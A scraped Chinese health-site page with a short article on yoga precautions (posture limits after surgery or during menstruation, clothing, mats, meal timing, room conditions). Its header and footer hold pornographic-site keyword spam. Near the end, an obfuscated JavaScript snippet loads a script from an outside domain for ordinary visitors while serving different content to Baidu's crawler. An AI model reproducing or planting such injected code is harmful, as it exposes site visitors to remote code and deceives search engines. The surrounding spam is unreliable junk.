久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

練瑜伽注意事項是什么

2017-04-16 14:53:28  來源:360常識網(wǎng)   熱度:
導(dǎo)語:如果你情緒不好的時候可以通過練習(xí)瑜伽來讓情緒得到改善,如果你平時自信心不夠,或者是經(jīng)常有自卑的感覺,那么練習(xí)一下瑜伽能夠讓你更自信

如果你情緒不好的時候可以通過練習(xí)瑜伽來讓情緒得到改善,如果你平時自信心不夠,或者是經(jīng)常有自卑的感覺,那么練習(xí)一下瑜伽能夠讓你更自信,能夠讓你更加樂觀豁達(dá)地面對生活。瑜伽練習(xí)還可以調(diào)節(jié)身體平衡,能讓整個身體機(jī)能得到提升,強(qiáng)身健體的作用及其明顯。當(dāng)然有些時候練習(xí)瑜伽還需要格外的注意。

手術(shù)后半年和女性生理期不宜練高難度動作;高血壓、哮喘病患者和孕婦只做簡單動作;以赤腳為好,穿著寬松、舒適,以便身體能自由活動;不宜在過硬的地板或太軟的床上進(jìn)行練習(xí),練習(xí)時應(yīng)在地上鋪一條墊子;如果在保持某一姿勢時,感到體力不支或發(fā)生痙攣,應(yīng)立即收功,加以按摩;對練習(xí)者的飲食沒有特別規(guī)定。可以將胃的一半裝食物,四分之一存水,其余四分之一保持空缺,即吃得不要太飽,以免感到沉重和懶散。練瑜伽前后一個小時內(nèi)不要用餐,飯后兩個小時內(nèi)盡量避免練習(xí)。

宜在安寧、通風(fēng)良好的房間內(nèi)練習(xí)。室內(nèi)空氣要新鮮,可以自由吸入氧氣。也可以在室外練習(xí),但環(huán)境要愉快,比如花園,不要在大風(fēng)、寒冷或不潔的、有煙味的空氣中練習(xí)。不要在靠近家具、火爐或妨礙練習(xí)的任何場所練習(xí),以免發(fā)生意外,尤其在做頭手倒立時,不要在電風(fēng)扇下練習(xí);8.做練習(xí)時,睜著眼閉著眼都可以,把注意力集中在體內(nèi)所產(chǎn)生的感覺上。

瑜伽練習(xí)的注意事項大致就介紹到這里,當(dāng)然還有其他很多注意事項,這里只是簡單的介紹了一下,如果朋友們對瑜伽非常感興趣,那么不妨去報一個瑜伽培訓(xùn)班,讓專業(yè)的老師來教我們練習(xí)瑜伽,這樣會收到更好的效果。練習(xí)瑜伽貴在持之以恒。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲成人av在线播放 | 五月婷婷在线观看视频 | 欧美日韩不卡在线 | 一级黄色片在线 | www.91av在线| 五月天久草 | 亚洲一区精品在线 | 欧美精品一区二区三区一线天视频 | av在线免费网址 | 成人免费视频国产免费麻豆 | 正在播放欧美 | 99视频| 99久久婷婷国产综合亚洲 | 国产精品久久久久久久久久99 | 色黄视频在线 | 女人毛片a毛片久久人人 | 超碰免费在线观看 | 日韩一区二区三区在线视频 | 亚洲一级在线观看 | 久久精品成人免费视频 | 成年人免费在线视频 | 成人av电影免费观看 | 久久久精品 | 永久黄网站色视频免费 | 2022久久国产露脸精品国产 | 狠狠综合久久 | 蜜桃日韩 | 中文字幕在线一区观看 | 国产第一区二区 | 国产综合精品视频 | 国产v日产∨综合v精品视频 | 亚洲在线视频 | 亚洲国产精品一区 | 极黄视频| 国产精品自产拍在线观看 | 99精品久久精品一区二区爱城 | 国产激情在线 | 日韩三级在线 | 欧美高清一区 | 国产情侣一区二区三区 | 国产无套精品久久久久久 |